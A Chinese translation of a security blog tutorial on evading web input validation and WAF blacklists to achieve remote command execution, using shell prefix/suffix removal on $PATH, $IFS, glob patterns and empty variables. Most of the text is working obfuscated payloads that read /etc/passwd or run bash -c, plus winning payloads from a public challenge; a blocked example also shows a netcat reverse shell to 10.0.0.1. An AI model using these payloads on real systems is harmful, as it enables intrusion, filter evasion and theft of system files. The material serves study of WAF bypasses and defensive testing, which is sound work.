利用删除匹配的前缀和后缀模式来绕过严格的输入验证

  • Comments Off on 利用删除匹配的前缀和后缀模式来绕过严格的输入验证
  • 28 views
  • A+

译文链接:https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/。受个人知识所限及偏见影响,部分内容或存在过度曲解误解,望师傅们包含并提出建议,感谢。


了解如何绕过目标web应用中严格的输入验证,该目标web应用采取了主动措施阻止你发送包含' " ; : / & 空白字符或其他字符的RCE payload。

摘要

在最近的一篇文章中,我们已经了解了如何使用Bash中的文件名通配的方式来绕过输入验证。这些技术之一就是使用Bash子串从环境变量值中获取特殊字符,例如${PATH:0:1}就等同于/。但通常情况下,我们会经常遇见有些系统中的web服务器或是用户他们本身并不使用Bash,而是使用Almquist shell,亦称Dash(或是sh)。如果使用Dash的话,就不可能利用像是${PATH:0:1}这样的子串了,但是我们还可以使用其他两种名为“删除匹配的前缀模式”以及“删除匹配的后缀模式”的方法。具体取决于你的PATH环境变量值是什么,如果你的PATH值是以/usr开头的话,那么${PATH%%u*}就应该等同于/。你甚至还可以使用匹配字符范围的语法:${PATH%%[a-z]}*也等同于/

删除匹配的前缀和后缀模式

简而言之,通过在变量名称中使用%%%#或是##,可以实现从左边或右边开始删除部分的变量值。让我们来简单地说明一些示例:

${parameter%word} 最小限度删除后缀的模式。word部分可以是一个具体的字符串,也可以是一个模式字符串,parameter为参数名,parameter部分扩展后的结果赋给parameter参数,该模式匹配的最小后缀部分将被删除。

如:

sh
TEST="foo.bar.sample"; echo ${TEST%.*}
foo.bar

${parameter%%word} 最大限度删除后缀的模式。同样,word部分可以是一个具体的字符串,也可以是一个模式字符串,parameter为参数名,parameter部分扩展后的结果赋给parameter参数,该模式匹配的最大后缀部分将被删除。

如:

sh
TEST="foo.bar.sample"; echo ${TEST%%.*}
foo

${parameter#word} 最小限度删除前缀的模式。word部分可以是一个具体的字符串,也可以是一个模式字符串,parameter为参数名,parameter部分扩展后的结果赋给parameter参数,该模式匹配的最小前缀部分将被删除。

如:

sh
TEST="foo.bar.sample"; echo ${TEST#*.}
bar.sample

${parameter##word} 最大限度删除前缀的模式。word部分可以是一个具体的字符串,也可以是一个模式字符串,parameter为参数名,parameter部分扩展后的结果赋给parameter参数,该模式匹配的最大前缀部分将被删除。

如:

sh
TEST="foo.bar.sample"; echo ${TEST##*.}
sample

这种语法的常见使用场景是更改一系列文件名的扩展名。如果我想重命名/etc目录下所有的*.conf文件,将其扩展名改为.txt,我可以这样做:

sh
for file in $(ls -1 /etc/*.conf); do echo ${file%.*}.txt; done

wKg0C2EUhISAZhf8AADd4f51gRs496.png

输入验证

通过为一个客户对其存在RCE漏洞的web应用所打的虚拟补丁进行测试,我发现了一个使用上述技术绕过其输入验证的方法。

假设一个web应用存在远程命令执行漏洞(类似于Drupalgeddon2的任意代码执行),但是却包含了一个输入验证功能,可以阻止发送带有诸如[/"'&|()-;:.,stn`]等特殊字符的payload,还有一个常用Unix命令的黑名单,其中包含如eval、bash、sh、nc、base64等等(大部分WAF的规则都是这样做的)。如果该web应用允许输入${}字符的话,那么就会有很多种绕过输入验证并执行RCE的方法了。

在本例中,所有下列payload都将会被阻拦:

  • code=cat+/etc/passwd (匹配 s/)
  • code=/bin/ca?+/e??/??ss?? (匹配 s/)
  • code=cd${IFS}/etc;cat${IFS}passwd (匹配 /)
  • code=nc+-e+/bin/sh+10.0.0.1+1234 (匹配 s - / 匹配 .)

那么,有没有可能构造一个不需要正斜杠、引号等字符的payload,并且不去使用那些众所周知的能够触发WAF的Unix命令?我已经创造了这一挑战靶场:https://github.com/theMiddleBlue/challenge-bypass-input-validation。

这一思路主要就是从目标shell环境变量中获取到特殊的字符。例如,我们可以通过使用子串0:1(类似于Bash中的${PATH:0:1})从$PATH变量的值中获取,而并不是直接使用/字符。

wKg0C2EUjPOARm1IAACydUz8UjU878.png

在上述截图中,我利用${PATH:0:1}/etc/passwd的完整路径连接起来,用${PATH:0:1}代替了/。可问题是,PHP shell通常是使用Dash(或/bin/sh),你无法使用这种子串的语法来实现远程命令执行。

wKg0C2EUjgSAauDYAAB32EjYwWk365.png

在Dash中,可以使用“删除匹配的前缀模式”和“删除匹配的后缀模式”语法,来代替使用子串。例如,根据目标PATH变量的具体内容进行决定:

  • ${PATH%%u*} 应该等于/
  • ${PATH##*s????} 应该等于 /bin
  • ${PATH%%[a-z]*} 应该等于 /

wKg0C2EUjziAH5ZoAACOIGsBO0U515.png

于是,为了获取到etc/passwd中的内容,我已经利用这一语法绕过的web应用的输入验证:

sh
cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd

需要记住:该语法的使用取决于目标PATH变量值是如何的。所以说,如果在/后面的第一个字母是“u”的话(比如PATH=/usr/bin:....${PATH%%u*}就等于/。举例,如果目标PATH变量开头为PATH=/home/themiddle/bin:...,那么 ${PATH%%h*} 就等于/

wKg0C2EUkP6ATL8qAAAr86uapLc222.png

现在的问题是,由于我的payload中包含了“cat”,“etc”和“passwd”字符串,导致其被这种松散和脆弱的WAF拦截了,因为使用了常用的Unix命令和路径。我就需要使用Glogging Patterns(通配模式)来混淆我的payload,但我仍需要完整的路径来执行带有通配模式的命令,比如/bin/c??,而不是"cat",解决方案如下:

  • 执行env命令查看所有的变量值
  • 利用 ${PATH##*s????}$PATH变量中获取/bin
  • 利用 ${PATH%%u*}$PATH变量中获取/
  • 利用 $IFS 代替空格

sh
code=${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??

wKg0C2EUkxCANZKPAABoW35GCh0901.png

wKg0C2EUk0OAKle4AAAvYSnKY6k271.png

wKg0C2EUk2SAXA4eAAFl9qlF4U274.png

这条shell在我的终端上是正常执行的,但让我们来看一下是否能够有效执行RCE。首先我要检查一下我所能使用的变量:

wKg0C2EUlAeAZc2iAADNlviHzBc135.png

并且正如你所看到的那样,未经混淆的payload被web应用的输入验证给拦截了:

被不允许使用的字符拦截

所以,首先我就需要绕过这些“特殊”字符的过滤。之前有讲到过,这里可以使用${PATH%%u*}来代替/,使用${IFS}代替空格。

ok,似乎符合预期地运行了

接下来就需要继续绕过“WAF”的常用Unix命令和路径黑名单。可以看到的是,我的payload cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd被拦截了:

wKg0C2EUmDAZ1p3AABhGygAqu0460.png

要绕过这一限制,我可以使用通配模式混淆常用的命令和路径,不过我需要使用/b??/c??混淆完整路径/bin/cat来执行“cat”命令。所以,我可以利用 ${PATH##*s????}获取到/bin/

ok,我绕过验证从PATH中获取到了/bin

接下来我要利用这一语法执行/b??/c?? /e??/??ss??

sh
${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??

成功按预期执行

同样的利用“未初始化变量”的方法来混淆命令和路径也可以实现,如:

sh
${PATH##*s????}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd

利用未初始化变量绕过验证

我可以通过从$PHP_CFLAGS值的第一个字符获取“-”,来实现执行更复杂的包含参数的命令(例如bash -c)。举例,我可以发送下列payload实现执行/bin/bash -c ls

sh
${PATH##*s????}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s

wKg0C2EUngSAHBYoAAB4B6nRJCI135.png

Bash的绕过更加简单

如果该目标应用,不管是出于什么原因,使用了Bash,可以使用子串语法(例如从 ${PATH:0:1}中获取/),而这种方式会让绕过变得更加简单。例如:

/bi?/ca? /et?/??sswd可以变成

sh
${PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}??sswd

相关文章

  • https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
  • https://www.secjuice.com/web-application-firewall-waf-evasion/

挑战成功赢家

1st kusky3 payload

sh
tail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wd

2nd Sparrrgh payload

sh
c${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swd

3rd DrV payload

sh
ca${jjj}t${IFS}${APACHE_RUN_DIR%???????????????}et${jjj}c${APACHE_RUN_DIR%???????????????}pas${jjj}swd

4th glauco payload

sh
c${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswd

相关推荐: 浅谈httpClient组件与ssrf

一、关于HttpClient   ssrf是比较常见的漏洞,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。一般存在于可以发起网络请求的方法和对应的业务。   HttpClient 是 Apache 的项目,…